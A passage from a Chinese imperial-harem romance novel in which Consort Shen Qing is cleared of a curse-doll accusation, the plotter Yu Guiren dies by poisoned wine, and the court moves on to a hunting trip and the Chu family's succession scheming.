且皇子身份贵重,不到万不得已,更没法大胆治。 三个太医中,只有赵太医是真的在忧心大皇子,即便他本事不俗,也会被另外两个太医给帶偏。 加之吴太医将此事揽在身上,信誓旦旦开口,赵太医再有所猜测,也只会疑心自己。 即便此事过后反應过来,可赵太医又如何敢声张? 薛神医继续道:“这原是民间杂耍假死惯用的技俩,却没想到被换了种方式用到皇子身上。皇上,生病还需吃药,巫蛊符纸之类的東西并不能治病,反而会延误病情,将小病拖成大病,草民在外游历,此等憾事见过不止一例。” 巫蛊害人,要不是因此事牵扯到这个,他还真不一定應许氏兄妹的请求前来为皇子诊治。 不过他来时已经真相大白,其实并不需要他出什么力。 纪宸道:“朕知道,朕从未相信过巫蛊之说。” 薛神医闻言,神情更加真诚了。 纪宸当即赏了薛神医与许家各黄金百两,许萝图见大皇子不是牵扯巫蛊,那这脏水就泼不到淑妃身上了,领赏謝恩后,帶着薛神医退下。 德妃看向早已被放到托盘上的娃娃,略一沉思:“这个娃娃是从淑妃的風荷居中搜出来的,即便大皇子的病与这東西无关,但淑妃娘娘,您不解释一下为何你会有这种東西吗?” 贤妃语帶讽刺:“宫里常说淑妃娘娘的心肠好,可淑妃,大皇子亲近你,你怎么能做这种東西诅咒大皇子呢?” 沈青淡淡道:“这不是臣妾的东西。” 【这娃娃身上的針脚密,爱妃没有这样的技艺。】 沈青:“……” 德妃见皇上没说话,可见是对这有诅咒意义的娃娃不喜,便微微一笑:“淑妃空口白牙,讓旁人怎么相信这不是你的东西?” 皇后略略向章贵人的方向掀了掀眼皮。 章贵人收到皇后示意,出口维护道:“德妃娘娘,容嫔妾多嘴一句,淑妃娘娘不过到避暑山庄两晚,这娃娃许是在来之前便在风荷居了,如何能认定是淑妃娘娘的?” 德妃笑意加深:“章贵人眼拙,本宫却不吝啬告诉你一二,这娃娃上面用的布料是天絲云锦,一年只得一匹的贡品,臣妾若没记錯的话,皇上在宫中只赏给了淑妃?” 德妃看向纪宸,侧脸询问。 纪宸:“没错。” 【贡品不易得,只需查清这几年一共产了几匹,又分别落到了谁手里,便能知道谁在宫内与避暑山庄里應外合。】 其余嫔妃见皇上并不偏袒淑妃,便知道这是个极好的将淑妃拉下来的机会。 宣婕妤、林贵嫔、蒋美人纷纷开口附和德妃。 【唔,记下来,之后升位份不必关照她们了。】 沈青:“……” 沈青忽略纪宸的心声,与德妃对峙道:“这天絲云锦臣妾一共得了三匹,有一匹被裁成了衣裳,另外两匹还放在承乾宫的库房,那一匹天丝云锦被送去司衣司裁衣时臣妾是整匹送去的,后来臣妾宫女去取衣,也只取了製好的衣裳,并未将剩余布料带走,司衣司的账册应是可以查到。” 贤妃惊讶:“淑妃难道没有用天丝云锦製过什么小玩意儿?” 一般人对布料怎么可能记得那么清楚,除非沈青没自己用布做过什么。 沈青微微低头,羞赧道:“臣妾技艺不精,平常也不太喜欢缝制东西。” 上一次,还是给纪宸缝荷包,自那以后她再没有碰过針线,生怕纪宸看见了,说他也要。 沈青似是想起了什么,看向人偶,提醒道:“人偶制作的针脚很密,臣妾并不能做到这种程度,臣妾还是宫女时曾细心给大皇子缝制过一个小老虎,若是东西没丢,应可以拿出来对比一下。” 皇后开口附和:“皇上,淑妃缝制的东西臣妾这里仍有保留,臣妾这就讓人取来。” 因丑丑的,纪璨还十分喜爱,觉得这个非常与众不同,得知是淑娘娘缝的,更是去哪儿都要带着。 “不必。”纪宸看向钱继,“去将朕的荷包取来。” 【她也给朕繡了一个。】 好不容易逮到一个炫耀的机会,纪宸怎么可能错过,荷包沈青不让他佩戴,但他有好好保管,来避暑山庄自是带着了。 錢继应下,亲自跑了一趟,但出了水芳岩秀,他脸上忍不住扭曲了一瞬。 这是皇后的地盘,皇后着人取个东西多方便,非舍近求远去取荷包。 那荷包淑妃娘娘都不愿意说,定是不满意的,皇上还非要拿出来让眾人看。 沈青闭了闭眼,纪宸荷包的复杂程度怎么可能与小老虎相比,光是那条手指大小的龙,繡娘恨不得将金丝劈成蛛丝来绣,到她手里,她自是仿个大概。 她深吸一口气,不再看向人偶:“臣妾只在风荷居歇了一晚,那晚身边时时都有宫人,臣妾不可能在眾目睽睽之下将箱笼中的人偶拿出来又转到风荷居柜子的暗格中,来等今日被发现。” “那样,岂不是蠢的无可救药?” 沈青看向德妃:“德妃娘娘,您不会想说不无可能吧?” 德妃脸上的笑容消失,心道设计这一切的人真是个蠢货,漏洞百出,她便是想帮也帮不了。 贤妃问:“淑妃娘娘的意思是说有人提前在风荷居放了这东西?” 皇后此时开口道:“是与不是,查查便知道了,不然此事为何不在宫里揭发,非要等众人来了避暑山庄才设计这一切?” 王定有话要说。 纪宸道:“讲。” 王定垂首:“方才淑妃娘娘提到箱笼,奴才这才记起,淑妃娘娘带来避暑山庄的箱笼是奴才带人检查过归置的,里面并无这种娃娃,皇上可唤小禾子和小凳子来查验奴才所言非假。 趁着錢继没有回来,纪宸便让那两个太监出来验证。 果然,王定说的是事实。 加之钱继带着荷包出现,再一对比,即便有人想说娃娃是宫女绣的,在方才种种证据面前也开不口了。 纪宸自然而然接过荷包,系在了腰上。 而沈青,压根没注意到他的动作。 事情折腾了许久,王积贵那里也传来了消息,此事确与嫣嫔有干系,但主谋却是玉贵人。 纪宸抬眼,并未发现玉贵人。 皇后适时道:“玉贵人刚到避暑山庄,便身体不适与臣妾告了假,臣妾也指了太医去照看玉贵人。” “哪位太医?” 皇后:“……与吴太医一起的那位苗太医。” 纪宸道:“嫣嫔心思不正,看管起来,待回了宫,便废除她的嫔位,打入冷宫。玉贵人这是第二次了,可见其心术已经到了无可救药的地步,残害皇嗣,栽赃高位嫔妃,无需再等,废位赐白绫。” 皇后称是。 在场的嫔妃听到皇上的话无不骇然,但细想一下便明白了,玉贵人光残害皇嗣一条便足以将她赐死,更何况她们对付的还是淑妃。 玉贵人只能保佑皇上不深究,不牵连其家族吧。 但嫣嫔何苦呢?她都已经是嫔位了,再熬一次大封六宫,便是稳稳当当的主位娘娘。 她的永和宫可至今没有主位。 不过再一想玉贵人与嫣嫔曾经的得宠程度,便不难猜到为何会动这种心思,将淑妃拉下来,远比老老实实熬资历效果好。 纪宸自接到消息到现在,已经在水芳岩秀呆了有小半日,见事情有了结果,便欲与沈青一起離开。 此时贤妃却奇怪道:“只玉贵人,怎么有这么大的能量?” 沈青看了贤妃一眼,觉得这位才是真正的活阎王。 纪宸自是随口问了一句皇后:“玉贵人姓什么?” 皇后对玉贵人恨得咬牙切齿,详细道:“姓卫,这玉贵人出自江南卫家,卫家是当地有名的富商。” 【得让纪仙把卫家好好查一查。】 皇后既要注意大皇子,又要彻查避暑山庄,沈青便没留下给皇后添麻烦。 毕竟她又不争宫权,何苦要掺和进去表现自己呢。 不过随纪宸離开后不久,白樱来找她,说玉贵人想见她。 沈青对玉贵人尚有疑惑,自是答应下来。 玉贵人并未搬离她住的地方,只是这里已经被御前的太监接管了。 太监退了出去,给沈青留下与玉贵人说话的空间,沈青没有让白桃白樱离开,毕竟没什么是她们不能听的,况且两人有武功,即便玉贵人突然暴起,也能保护得了她。 玉贵人见此讽笑:“我手无缚鸡之力,淑妃是在担心什么?” 沈青听到后面也不再自称,想了想道:“若我不能保护自己,会有人担心。” “皇上最是薄情,你若毁了,他只会再扶一个喜欢的。” 沈青腹诽,她又没说是纪宸担心,保护不了自己,沈家人会陷入无穷的痛苦中,丧女之痛,不是谁都能熬过来的。 她道:“謝谢你的忠告,我争取好好的。” 玉贵人闻言一哽,但看着沈青平静的眼睛,心中无穷的愤恨忽然一空,竟然慢慢平静下来。 也有了倾诉欲。 第93章 第93章淑妃六日 玉贵人娓娓道来:“我姓卫,自小便被主家挑中养在身邊,与我一起的还有好几名女孩,皆是卫家血脉,长相姣好,在那里,有专门的师傅教我们琴棋书画,我的琵琶习得一绝。” “主家很满意我,在我十五六岁时与几名姐姐一起从江南被送入京城,卫家不知打通了哪里的人脉,竟将我与一名卫家女送进了太子府。” “我在太子府的往事淑妃娘娘应当不知道……” “知道。”沈青打断她,“我知道,那一年我还未封昭仪,在避暑山庄,你盯了我许久,后来你与嫣嫔一起撺掇蒋美人抬出太后,我便将你暗暗記下,回宫就找了当时在太子府的老人打探过你。” 玉贵人面露惊讶,她实在不能理解,淑妃这样人物,竟那样早的将她放在了心上。 一时不知该荣幸,还是怨怼。 不怪她会输,若沈青一直提防着她,她的计划再怎么周密,也敌不过这样的谨慎。 忽然,玉贵人脑海中闪过灵光,终是将那条断掉的线串起来,她语气一重:“是你告訴嫣嫔我算计了她的容貌?” 沈青微微点头:“只是有些猜测,但我手中并无确凿的证据。” 玉贵人是真的生气的,她怀疑过任何人,甚至怀疑嫣嫔变聪明了,也没怀疑过沈青。 毕竟谁能想到当时的昭仪娘娘已经将她和嫣嫔完全压制住了,私底下仍不忘离间她们一手。 眼见着 玉贵人面目变得狰狞,沈青补了一句:“实在是你们两人有美貌有心机,聚在一起我实难招架,不得不先下手为强。” 若非她这一手,恐怕今日的计划会提到两年前来避暑山庄的时候。 可见离间计是实打实的有用。 玉贵人闻言抚了抚脸,叹道:“怪不得皇上皇后喜欢你,若当初你是我的宫人,我对你下手时绝对会泛起几分心疼。” 玉贵人真是不改初心……沈青淡笑道:“不可能的,人往高处走水往低处流,我进宫后杜氏得寵,我自是牟足了劲儿往她宫里去。” 只可惜杜氏身邊的宫人太多,等她能冒头时,杜氏已经失了势,只成了宝林。 杜氏名唤杜明漪,提起她,玉贵人可谓記忆犹新,仍记得她那把被毀掉的琵琶,便明白淑妃这是在戳自己的心窝子。 玉贵人没了笑容,眼底阴郁地看向沈青。 沈青恍若未觉,面不改色问:“与你同进太子府的卫家女是你将她的容貌给毀了吧。” 玉贵人:“是,卫家的资源只能倾注在一个卫家女身上,我不愿做太子府一个不起眼的侍妾,自然要毁了她,不过当时我年纪小,心不夠狠,仍留了她一条性命。” “此后,卫家果然看重了我,大把银票流到我手中,足以讓我在宫內上上下下打点,所以即便你问,我也是不后悔的。” 沈青挑眉:“我并非要问你后不后悔,过去的事没有问的必要,而是有一个疑惑,你做的事皇上是知道的,可为何你会在宫中的寵愛不低?” 玉贵人迷茫地看向沈青。 皇上怎么会知道? ……是了,太子府是皇上的地盘,原该什么事都瞒不过皇上,怪不得皇上当初即便抬举杜氏,也不抬举她。 不过很快,玉贵人便掩住了眼底的迷茫,輕笑道:“自是咱们这个皇上薄情,并不在乎他的一个女人对另一个女人下手。” 沈青輕易便看破了她:“你也不知道。” 玉贵人顿住。 “若皇上不在乎嫔妃好坏,那杜氏就不会因为两名宫女的性命被贬为宝林,又因私底下的残暴被打入冷宫。” “只能是一码归一码,在皇上心中已经惩罚过你了,你又因杜氏受了数次委屈,加之当时后宫无人,杜氏倒时,新妃还需一年才能入宫,便提拔了你。” “之后新妃入宫,你见嫣嫔极为受宠,心中不安,认为是她阻了你的路,便想故技重施毁了嫣嫔那张脸,但当时有林贵嫔那个现成的替罪羊,嫣嫔急于对付林贵嫔,你便侥幸未暴露。” “这件事本宫已经不好奇了,更好奇的是,你拿什么要挟嫣嫔听你的命令行事?” 沈青垂眸,拿帕子擦了擦手指上的灰尘,抬眼看向玉贵人。 玉贵人肩膀一松:“淑妃居然连这个也知道……嫣嫔的母親与林贵嫔身后的林家有些关系,当年嫣嫔入宫,她的母親担忧嫣嫔在宫內过的不好,便托了林贵嫔照拂,但林贵嫔居然想掌控嫣嫔,最后自然是失败了。” “后来我刚对嫣嫔有所动作,林贵嫔便私下给我递了消息,告訴我嫣嫔最在意她的母亲与弟弟,我便从这方面下手,果然,嫣嫔见到她母亲的信物便慌了,自是什么都答应了我。” 玉贵人的声音越来越低落。 沈青得到想知道的,便退后一步:“本宫要离开了,玉贵人还有什么话想说?” 玉贵人眼中微微一亮:“可否将白绫换成毒酒?” 沈青心中惊讶,毒酒可不如白绫来得好,毒发时不仅痛苦,持续时间也长。 但这到底是玉贵人最后一个心愿,她应允下来:“此事不难。” 沈青出来后,便给看管的太監说了此事,太監满口应下,屋内,玉贵人听着太監谄媚的声音,缓缓露出笑容。 很快,沈青离开,外面重新安静下来,只能听到走动的声音,是太監命人去准備一份毒酒。 当门再次被打开,进来的却不是原本的太监,他的太监服更为精良,上面绣的东西也与小太监不同。 他笑眯眯道:“贵人可能不知道奴才叫什么,奴才叫王定,贵人要的毒酒,是奴才亲自准備的,放心,不会讓贵人痛苦太久。” 玉贵人瞳孔一缩,不可置信看向他,明白他察觉了其中猫腻。 有的毒酒,能让中毒者有中毒症状并气息微弱,但若救的及时,还是能救回来,但有的毒酒,直接伤及肺腑,等表现出来时,人已经无力回天了。 玉贵人素来知道卫家能耐大,走到这一步也做好了在卫家帮助下金蝉脱壳的准备,避暑山庄不比皇宫守卫森严,于她而言便利很大。 她见淑妃,好心给淑妃答疑解惑,便是为了最后那一句微不足道的请求。 那是她的求生之法。 但没想到王定的出现打破了她的计划。 王定仍是笑眯眯的模样,丝毫不受玉贵人充满恨意的目光影响,他手一挥,便有太监捧来干净的纸与笔墨砚台,他道:“玉贵人如果将知道的关于卫家的事悉数写下来,若分量足夠,奴才亦可将白绫重新奉上。” 玉贵人已经很疲惫了,并不想再说什么。伸出手,有小太监上前将笔放到她指尖。 她洋洋洒洒写下一页的簪花小楷,并未拿白绫,而是将毒酒一饮而尽。 她告诉沈青,她会喝毒酒,就一定会喝毒酒,即便痛苦,也仍甘愿- 沈青去见纪宸后,便将玉贵人拿嫣嫔母亲和弟弟做要挟的事说给了纪宸。 她并非要纪宸宽恕嫣嫔,而是防着以后嫣嫔拿这一点复起。 纪宸不赞同道:“即便如此,陸氏也不冤枉。” 嫣嫔原名陸云湄。 沈青询问地看向他。 纪宸:“朕原本不想将这件事告诉愛妃,徒惹你心烦,但再不说,你就要心软陆氏了。那个送到你手中有问题的药丸,并非出自玉贵人之手,而是陆氏带进宫的,朕已经罚了当年陆氏进宫检查她包袱的太监。” 沈青低低地哎了一声:“皇上什么时候知道的?” 这都是什么糊涂事,玉贵人便是因为此事被贬为了贵人,但纪宸明明知道,却冷眼旁观着这一切。 “很早之前就查到了。” 【那时玉贵人已经要挟上嫣嫔,陆氏得了她的苦果,朕才不插手。】 去年抬嫣嫔位份,玉贵人位份不变,更是加剧了两人的矛盾。 嫣嫔的位份一高,对玉贵人的抵触情绪只会越强烈,玉贵人吩咐的事她亦会阳奉阴违,并不尽心。 沈青想到陈婕妤便是在去年察觉到玉贵人与嫣嫔的不对劲,再一联想纪宸的用意,便什么都明白了。 她感叹道:“后宫什么事都瞒不过皇上。” 纪宸抚着沈青的发丝:“后宫有錢全忠在,才这般清明,若有一天朕不在皇宫,而青青又无人可用,可以去找錢全忠,他会将一切办好。” 钱全忠已经很少出现在纪宸身边了,嫔妃只有经人提起才会记得这位的存在。 沈青倒是见过几次,知道钱全忠一直呆在皇宫,便是来避暑山庄,他亦可不随行。 “钱公公会听臣妾的吗?” 纪宸反思自己;“还是朕宠得不够明显,才让爱妃有此疑问。” 沈青在他的目光下忍不住害羞地笑了笑,笑容明亮:“皇上已经很宠臣妾了。” 她在纪宸的侧脸上亲了一口:“看,臣妾这样闹,皇上都不生气。” 【另一边也想要。】 沈青才不惯他,她捧着纪宸的脸,思索在何处下口,然后轻轻地吻了吻纪宸的喉结。 纪宸不自在地下巴微仰,让她更方便一些。 【为何要奖赏朕?】 沈青:“……” 她没法说话,倒不是完全被无语住,而是纪宸逮住了她,扶住她的后脑勺,吻在了 心心念念的唇上。 沈青原本揪住纪宸衣襟的手渐渐没了力气,酸软起来。 第94章 第94章淑妃七日 因在風荷居搜出了巫蛊娃娃,即便沈青只在那儿休息了一晚,东西也被皇后亲自毁掉,她也膈应的不行,便对纪宸说要留下。 纪宸道:“朕早让人将你的东西送过来了,待会儿随朕一起泡溫泉?” 沈青不用去看纪宸的眼睛,光听他微扬的语调便能听出他在琢磨什么。 不知不觉间现在已是傍晚,月白天青。 沈青想着,刚出了这件事,明日确实不宜骑馬喧闹,便迟疑地点了点头。 这下可不得了,纪宸直接将沈青举了起来,又抱在了懷里。 因没提前打招呼,骤然一升一降,沈青气得直拍他。 【朕高兴!】 纪宸心情飞扬抱着沈青去泡溫泉。 两人下汤池后,均只着了薄薄一层衣衫,温泉水将沈青的皮肤蒸得泛粉,一双眼睛水雾雾的。 纪宸见此满意的不行,将她圈进懷里亲了许久。 沈青已经使不上力了,整个人挂在纪宸身上,除此之外没什么支撑,她懒懒地欣赏纪宸的男色。 看着看着,便不由吐槽,即便她能知道纪宸在想什么,但有时候仍猜不透他的心思。 甚至于他办了什么事,除非是非常希望她发现的,心心念念的都是这事,才会清楚听到他的心声,其他要事纪宸基本不会往心里过一遍,沈青便无从得知了。 也是,他是皇帝,遇到的事情数不胜数,任意一件放在别人身上都是天大的事,若事事都在陪她时想起,纪宸累都要累死了。 不过这样也好,相处起来也不会失了意趣。 即便沈青敢保证自己不是喜新厌旧之徒,也不确定在真摸清了纪宸的心思后会倦了。 纪宸此时的目光已经落到一旁的酒壶酒杯上,目光定定。 他扭头,对沈青倏然一笑:“阿青,我们来饮酒吧。” 【酒后吐真言对青青最有效果了。】 沈青輕笑一声,不依道:“皇上想知道什么可以直接问臣妾,何须打着把臣妾灌醉的目的?” “嗯?”纪宸语气不确定起来,他撫着沈青的背,“愛妃知道自己醉酒的样子?” 沈青眼睛微睜,笑容凝固,想从纪宸身上下来,却发现他已经不知什么时候扣住了她的腰。 她欲哭无泪道:“您放我下来……臣妾想自己泡一会儿池子。” “朕不想依。” 纪宸的手掌稍稍用力,沈青便趴在他身上起不来了,不过好在汤池的水只没到她锁骨处,几绺发丝从用簪子盘好的发髻中掉出,垂落到水中,随她的起伏而被浸湿成几缕。 沈青伸手,比了个一捏捏:“只记得一点点。” 纪宸好奇问:“都记得什么?” 沈青理直气壮道:“记得您哄骗臣妾,套臣妾的话!” 纪宸颔首:“那就是全记得了。” 沈青:“?” 过程全错,结论全对。 见沈青不说话,纪宸更笃定了:“愛妃是真的全都记得,真是胆大包天,既然如此,朕今日要讨回来。” 沈青迷茫又小声地问:“怎么讨?” “莫怕。”纪宸撫了抚沈青的背,伸手将酒取来,倒上一小杯,用手指支起沈青的下巴,一点点喂给她,末了他夸赞道,“好乖。” “朕今晚一定让青青满意。” 沈青脸颊浮上明显红晕前听到的就是这句话,不由隐隐期待起来。 …… 月落星沉,东曦既驾,彼时,沈青才沉沉睡去。 待到醒来时,又是下午了。 沈青慢慢清醒过来,又过了一会儿才睜开眼,她抿了抿,複又微微舔唇,尝到了残留的一丝酒味。 昨晚,她自是不止饮了一杯,每每害羞到整个人都要烧起来时,纪宸便会给她喂一杯酒。 量不多,微微发汗便能散出来。 她能感受到纪宸是喜歡極了她大胆的样子,兼之她酒醒后又记得,就更肆无忌惮了。 问这个青青喜歡吗?那个阿青觉得如何? 平常这些问题沈青理都不会理,觉得難为情,加上两人都忘情后只剩蛮劲儿了,谁又会细细琢磨这些。 但偏偏昨晚,纪宸有耐心極了,而她醉酒后又什么都敢说,赤诚的厉害,便如此顺利地…… 醉酒和清醒循环往複,她亦是清晰得了滋味。 直到后面纪宸不得不伸手捂住她的嘴,才进行下去。 也幸而他这么做了,不然她今日恐怕就没脸见人了,亦会生气到好几日不理纪宸。 沈青又缓了一会儿,这才起身,宮人在一侧侍奉她梳洗,然后她与出现的纪宸一起用膳。 这个时辰差不多都是晚膳了。 纪宸道:“纪璨已经好了不少,估计明天就能活蹦乱跳了。” 至于处理了一批人他自不会给沈青说,免得搅扰了她的兴致。 而他原本想把卫家挪到回京后处理,但王定呈上来的那张纸上的罪行太过罄竹難书,侵占田地已经是里面最微不足道的一条了。 纪宸便没有拖延,派了信任的官员并一队人马前去办案。 而玉贵人,因揭发罪行有功,便葬在了避暑山庄一处山清水秀的地方,但年年派人祭拜却是没有的。 沈青听着,觉得这样也好。 漂亮的人就应该葬在漂亮的地方。 用过膳,还不太困,纪宸去处理事务,沈青抱着猫练习臂力- 玉贵人、嫣嫔这事闹的很大,風言风语很久才平息,避暑山庄也死了一批人才恢复往日的平靜。 因此嫔妃都安靜好了一阵。 这日,楚嫔想要见她的母亲楚夫人,便寻了皇后。 皇后思及楚家,又请示了皇上,着手安排楚夫人与楚嫔见一面。 楚嫔的浮香榭中,楚夫人走进来,楚嫔本想上前扶她,却被楚夫人一眼定在了原地。 待楚夫人完完整整行了礼,楚嫔这才搀她坐下。 楚嫔的母亲已经不年輕了,梳起的头发中掺杂着根根白发。 楚嫔还未开口,楚夫人便道:“礼不可废,尤其嫔主子入了皇室,需知一言一行得按照皇室嫔妃的要求来。” 楚嫔顺从道:“是,母亲。” 楚夫人这才缓了神色。 这次并非楚嫔要主动见楚夫人,而是楚夫人早早递了信,楚嫔从未违背过家里,自然寻了皇后。 楚嫔问:“母亲要见女儿,是家里发生了什么事吗?” 楚夫人道:“家中无事,只是你父亲和哥哥托臣妇问嫔主子,德妃对你可尽心尽力?” 楚嫔自是点了点头:“女儿在宮中有如此地位,全仰赖德妃娘娘。” “那为何会久久传不出好消息?” 楚嫔一愣,刚想回答,却发现母亲并不需要她开口。 楚夫人自顾自道:“可见德妃待你懈怠了,既如此,楚家也不必全心全意幫李家,幫德妃,帮三皇子。” 楚夫人深深看了一眼楚嫔,楚嫔却看向周围,见只剩她从楚家带进宫的婢女,心跳的才没那么急。 “母亲,女儿入宫时,你便对女儿说,要我听德妃的话,女儿也遵从了,如今德妃形势大好,你们缘何又改了主意?” “三位皇子中,唯有三皇子最为沉静,有皇上当年的风范,这般,为何要背叛德妃?” 楚夫人神色不变,她便知道秋娘入宫久了,移了性情,连家里的话都敢不听了,竟也学会了质疑。 她道:“当年让你听德妃的,是因为李楚两家达成协作,你生下皇子,交由德妃抚养,然而你太过无能,得宠一年有余却未传出任何消息,反倒是如今的李贵嫔给德妃生下了三皇子。这般情况下即便三皇子登基,也与楚家没有丝毫血缘,于德妃而言楚家不过起锦上添花的作用,并不要紧,亦可 随意舍弃。” “既如此,楚家为何还要帮三皇子?” 楚嫔头疼道:“德妃并未表露出这层意思。” 她难道不想怀吗?但无论如何,怎么尝试,她就是怀不上。 楚夫人不知想到什么,冷了脸:“德妃虽然没有,但李家对楚家却轻蔑了起来。” 楚嫔终于知道症候出现在了哪里,她的爹娘兄长都是极高傲的人,被这般对待,自然不屑于李家,甚至迫切想抬另一位皇子与三皇子争斗。 可这谈何容易? 楚嫔皱眉:“你们这般,就不怕李家报复吗?” 楚夫人冷笑一声:“楚家并不怕李家。” 李家在朝堂还没楚家得皇上看重,李家不过凭借着底蕴深厚罢了。 如今三皇子还未成事,李家就敢慢待楚家,日后三皇子有幸登基,李家岂不要踩在楚家头顶? 楚家绝不能忍, 楚嫔见劝不动母亲,只得道:“母亲来找女儿,想来是有中意的皇子?” 楚夫人缓了神色,颔首:“大皇子既为嫡又为长,萧家在朝堂上没几个人,他们极需要楚家,且皇后与淑妃和睦,淑妃无子,必也会支持大皇子。” 楚嫔面色凝重问:“倘若淑妃有子了呢?” “那便要看秋娘与淑妃的关系了,淑妃身后并无家世支持……” 送走楚夫人,楚嫔独自坐了一会儿,她自小就很听话,因为听话的孩子会有奖励,或是头绳,或是漂亮衣裙,或是一匹小馬驹。 所以楚嫔压根没想过要忤逆楚家的意思,她喃喃道:“再过一段时间便会前往猎场,淑妃喜欢骑马。” 楚嫔与德妃接触的久,知道三皇子纪珹从小便聪慧,不是大皇子能压制得了的。 纪璨于纪珹不过一块磨刀石。 唯一不让楚家期盼落空的方式,恐怕只有淑妃有孕,所生皇子没那么平庸,而皇上又执意立淑妃之子为太子。 第95章 第95章淑妃八日 玉贵人与嫣嫔倒了,沈青不必再时时警惕着。 低位嫔妃中能威胁到她的已经没有了,至于德妃賢妃,只要她还未怀孕,她们就暂时不会把目光放到她身上。 当然,即便如此,沈青也需要注意膳食,不能叫人从这上面钻了空子。 但她的厨子是纪宸给的,用了三年亦时时封赏,除此之外,她常和纪宸一起用膳,别人想钻空子也难。 这是纪宸组织狩猎的第四年,猎場的位置每年都在变,但流程是一样的。 到了猎場,沈青在帐篷里擦弓,马場的人多,她一向不爱去那里凑热闹。 蘭修容与陈婕妤前两年学了騎马,正是兴致高昂的时候,一到猎场没什么停歇就去跑马了。 沈青知道纪宸还要许久才回来,便拿上弓箭,择了一匹骏马带上白桃白櫻便出去了。 聞喜还在唠叨:“两位白姐姐保护好主子!” 自从见识过白桃白櫻随意伸手接到飞起来的茶盏,足尖一点便可上马上树,他便深深明白自己在淑妃娘娘身邊只能排第三,叫姐姐叫的心甘情愿。 沈青笑他道:“我们去打野味回来给你加餐,守好帐篷。” 聞喜神色一正:“奴才連一只蚊子都不会讓它飞进来!” 白桃白樱微微彎唇,等沈青上了马,两人也纷纷上马。 雖她们身邊有侍卫在,但考虑到人手到底不如纪宸在身邊足,便只打算在猎场的外围活动,并不深入。 今天沈青的运气颇好,没多久就撞见了一只野猪,体型只有正常野猪的一半,不会有什么危險。 她彎弓搭箭連射三发,将野猪扎的死得不能再死,这才讓随行的人捡了放起来。 这时,前方傳来喧哗声。 沈青道:“一起去看看。” 众人纷纷往喧哗声傳来的地方移动,不多时,他们的视野开阔起来,只见又一只体型更大的野猪在横冲直撞,旁邊站立着一堆女眷。 因宫人的服饰比较显眼,沈青先往被宫人护住的那名女子看去。 “楚嫔?”沈青惊讶,但她和楚嫔没什么交集,也说不上几句话,认出后便没在意,当即吩咐侍卫道,“将野猪處理了,保护女眷。” 侍卫应声,自发扰乱起野猪,赶往别處。 这只野猪比平常见到的都要大,它的牙尖锐弯曲,显得十分凶恶,如果没法两箭射杀,只会引得它发狂胡乱攻击。 眼见着野猪離女眷那便已经很远了,侍卫也騎着马,并不在它的攻击范围。 沈青举起弓箭,弓弦拉满,向野猪射去。 尖锐的破空声传来,楚嫔朝沈青看去,却见她已经搭起第二支箭,没有任何迟疑地再次射出,两箭便废了野猪的行动力。 但沈青仍没有停下,足足射了五箭,这才遣人去看野猪的状况,听到野猪真的不能扑腾起来,才极明显地松了一口气。 沈青下马,朝女眷走去,扫了一眼,见没有人受伤,但仍妥帖地问了她们:“你们没事吧?” 领头的那名姑娘摇了摇头,双眼亮亮的。 “您就是淑妃娘娘吧?” 楚嫔走到沈青身边,行了一礼:“嫔妾参见淑妃娘娘。” 沈青扶了一把楚嫔。 其余人闻言望向沈青的目光更加好奇了。 沈青点头,微微一笑:“这里还是太危險了,你们没有带够人手便出来是不对的,本宫派侍卫送你们回去。” 她看向楚嫔:“楚嫔,你跟本宫一起走。” 一次遇见了两头野猪,她还是先把楚嫔安安全全送回去吧,楚嫔的家世常常被人提起,即便皇后与德妃不睦,她也不能把人丢在这里。 这里沈青最大,其他人自是遵从,楚嫔也称是。 楚嫔身边的宫人终于松了一口气,主子说出来走走,却没想到走到了这里,差一点楚嫔就受伤了。 若楚嫔受伤,他们少不得一顿罚。 而方才破空的几箭,足以证明淑妃娘娘弓马娴熟,有淑妃在,主子必定无虞。 宫人在心里感叹着淑妃的厉害,楚嫔也推翻了心里对淑妃的看法。 常闻淑妃喜騎马射箭,却不如今日这一见,她的谨慎、从容与稳重,很容易讓人心生信服。 跟着这样的人,也许楚家在背弃李家后才能有一个好结果。 因楚嫔出来没骑马,又带着宫人,沈青便与她一起走回去。 沈青这时转头,却发现楚嫔在对她笑。 她不由纳闷。 楚嫔在宫里虽人人都知道她,但亦容易忽略她,因为楚嫔的性子太平和了,与她清丽的长相不符。 且她除了亲近德妃,便再没有和其他嫔妃交好过。 日常请安也常常叫人忽略她。 在沈青看来,楚嫔是个相当通透的人,毕竟一个自小学骑射的女子,不可能拧巴。 但楚嫔好好的,对她笑干什么?笑得还那样舒心。 若是往常,楚嫔只会对她有着挑不出错的尊敬,总不能态度的改变是因为她救了她吧。 可她只是来得及时罢了,猎场有巡逻的侍卫,楚嫔身边的宫人也不会让她受伤,且楚嫔方才也是冷静的,丝毫没慌。 正因为她的态度,她身边的宫人才稳得住。 沈青想不明白,便将此事放下,问楚嫔道:“楚嫔怎么没骑马来了这里?” 楚嫔垂首道:“嫔妾只想四处走走,便不知不觉走到了这里,加上旁边又有女眷在,便没预料到会有危险,让娘娘担忧了。” 实际上,是她偶然看到淑妃骑马離开的身影,跟着往这边走了走。 但这事身边的宫人都不清楚,自是不用拿出来多说。 沈青见楚嫔待她的态度又与往日无异,心里想着大抵楚嫔方才是真的感念她救了她一次,这才情绪流露了几分。 将楚嫔平安送回,沈青便回了帐篷。 晚上,纪宸雖吃到了烹饪好的野猪肉,但仍肃着脸训了沈青。 “野猪都被驱离了,便不要激怒它,你那两箭若没将野猪射倒,它反冲向你,惊了马怎么办?” 沈青瞬间萎靡了:“臣妾拉满了弓,平常连靶子都能射穿,区区一头野猪。” 她鼓着脸,也没心情再和纪宸说救了楚嫔的事。 须臾,纪宸将她抱在怀里,问:“吓坏了吧。” 沈青回味了番:“没有,臣妾今日的运气可真好,一小一大连着撞进臣妾手里……” 纪宸彻底无奈。 猎场今年无人闹事,大家都很安分,可能是得益于去年一位宗室子弟仗着身份欺侮人被纪宸亲自出手教训了,什么世子之位也撤了,连带着他爹也受了斥责。 再回宫便已是入秋了。 承乾宫中,沈青与蘭修容、陈婕妤在一起说话。 兰修容道:“楚嫔被德妃拒在了永寿宫门外。” 陈婕妤问:“为何?” 沈青也看向兰修容,这事白樱对她说过。 只见兰修容轻声道:“楚家在朝堂上踩了李家一脚,说是后宫不得干政,可宫妃到底与前朝联系紧密,出了这事,德妃自不会再让楚嫔呆在自己身边,不落井下石便是好的了。” 沈青问:“难道楚家不考虑楚嫔在宫内如何自处吗?” 楚嫔依附德妃久了,离了德妃,于她而言自是不妙。 兰修容思索着:“楚嫔能在宫中有此地位,楚家功不可没,楚嫔想来只能听从家里。” 这事,沈青听到,只会叹息一声,便将其放下了。 